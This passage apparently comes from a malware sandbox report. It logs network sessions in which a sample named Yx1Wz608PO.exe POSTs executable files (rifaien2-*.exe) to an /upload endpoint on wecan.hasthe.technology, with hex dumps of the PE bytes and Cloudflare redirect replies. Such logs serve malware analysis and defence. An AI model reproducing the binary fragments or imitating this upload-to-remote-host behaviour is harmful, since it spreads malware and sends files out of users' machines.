Oct 10, 2024 21:01:29.103497982 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:29.103522062 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:29.103554964 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:29.103581905 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:29.103605986 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:29.103651047 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:29.416217089 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:29 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:29 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CFDO0f7O9%2FyDeUXhD3OW9%2BAuwhqcdvxR9Zc3yV55CdcAlA4FY8EdlyTh5JUrzl8bezK5bdbNwyyxPe%2Fu1vGfiwXjoQQxKaM%2FS98owGt7t6YzxIM4AcOJo%2Fj79w3vl8UqC5OAJPX7BMvNZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbf8ae53421d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49749	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:29.577636003 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------188c36fed9bfd46b
Oct 10, 2024 21:01:30.044522047 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:30.046320915 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 38 38 63 33 36 66 65 64 39 62 66 64 34 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------188c36fed9bfd46bContent-Disposition: form-data; name="file[]"; filename="rifaien2-NxxFR5QGAAQFk5K5.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:30.046449900 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:30.051786900 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:30.051788092 CEST	7416	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:30.051898956 CEST	7416	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:30.051947117 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:30.059111118 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:30.098979950 CEST	32480	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:01:30.099128962 CEST	1236	OUT	Data Raw: 00 4e b9 00 00 f3 5d d3 fd bb be 13 b6 00 00 8c bc 00 00 5a 03 26 cd 73 06 7d f7 5d f7 a5 00 00 bd 0b 77 3f b5 07 01 00 cf 03 7d 09 01 00 ee f7 dd 77 df 07 c4 15 01 00 28 03 69 16 01 00 e2 2b 74 dd 00 00 ba 03 5d d7 75 5d e9 1f c8 03 ab af 72 ff Data Ascii: N]Z&s}]w?}w(i+t]u]r4M4M\|C+>Q4M4]jx4MM6MDC(>4M4Pct4ME4M4,?O^m4M{44MF&
Oct 10, 2024 21:01:30.115370035 CEST	2081	OUT	Data Raw: 61 72 61 b9 80 5e b0 6d 24 0f 37 fd 83 fd 83 0e 52 65 6c 65 61 73 65 5a 00 00 aa 00 00 00 c0 c3 1d 14 ff 78 5f 5f 67 65 74 5a 61 72 67 57 4d f8 ff 7f 5f 5f 6d 62 5f 63 75 72 5f 6d 61 78 00 01 5f 5f 70 5f 5f 65 64 fc 1c 44 83 0d 66 32 0b 73 65 ce Data Ascii: ara^m$7ReleaseZx__getZargWM__mb_cur_max__p__edDf2seUT_;ceerrnoiob;scon ps@Kstati64/ia]cm!_nys_nWCEec}ocfJfflu;ffopengfput-Ow@dfseek.telleFsmFmal
Oct 10, 2024 21:01:30.432375908 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:30 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:30 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=19FpdslQ6TMOIQoHu9JIskiXjXTSd%2F5LHMSHkw7EXB3kbnwHuc%2FuCu%2BUyQaLa%2Fq84RY9Y6DCjAIWkFspX9xfyogVJ2F8TgIPGX7GHpVVPE2eoZKK%2FmWGn4fwtqmEaD5zUAe9Z4UaPwk98w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbfe6d17de92-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49752	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:30.874469042 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5feadd704bd55df3
Oct 10, 2024 21:01:31.379470110 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:31.380784988 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 66 65 61 64 64 37 30 34 62 64 35 35 64 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5feadd704bd55df3Content-Disposition: form-data; name="file[]"; filename="rifaien2-IUG4zGcbBzvzNdJv.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:31.380928993 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:31.386257887 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:31.386288881 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:31.386399031 CEST	7416	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:31.386441946 CEST	3708	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:31.386471987 CEST	1236	OUT	Data Raw: da 89 85 cc fb ff ff a2 38 dd dd 10 04 8c a9 89 85 c0 14 c7 85 c8 d8 df 94 c9 05 4e bb 0f 84 2f 0a 00 00 89 11 2e e0 26 a0 8e 79 05 00 5e a6 88 cb f8 68 88 13 00 00 9e 85 a6 36 e1 02 4e 53 59 0b 3b 56 df dd 55 f1 f1 84 89 85 d4 4b eb 01 46 8a 06 Data Ascii: 8N/.&y^h6NSY;VUKFt< t<th owfS>!Q+ShWsc^\|so13IL9D@u$ twu@HE&tP
Oct 10, 2024 21:01:31.386493921 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:31.386529922 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:31.391426086 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:31.687186956 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:31 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pxKrBxwJlgMmIiefwRfpn69vj0DrGXg%2B1d%2Fkzg7US%2BG8AzjfUCE%2BELNWLvPvnla30MEc5lhJq%2BYOAB0w9GpC2uEsTwZXVDr961j0QeC26%2FOwvt93XUg6vGDWLs6mpna0kj%2BoQTHrwe5ZfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc06f95f0cc8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49754	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:31.843823910 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------317846ba52db1f0e
Oct 10, 2024 21:01:32.292963982 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:32.294253111 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 31 37 38 34 36 62 61 35 32 64 62 31 66 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------317846ba52db1f0eContent-Disposition: form-data; name="file[]"; filename="rifaien2-ToqId0cmF9KU3PM3.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:32.294527054 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:32.299736977 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:32.299782991 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:32.299803019 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:32.299827099 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:32.299860001 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:32.299931049 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:32.299949884 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
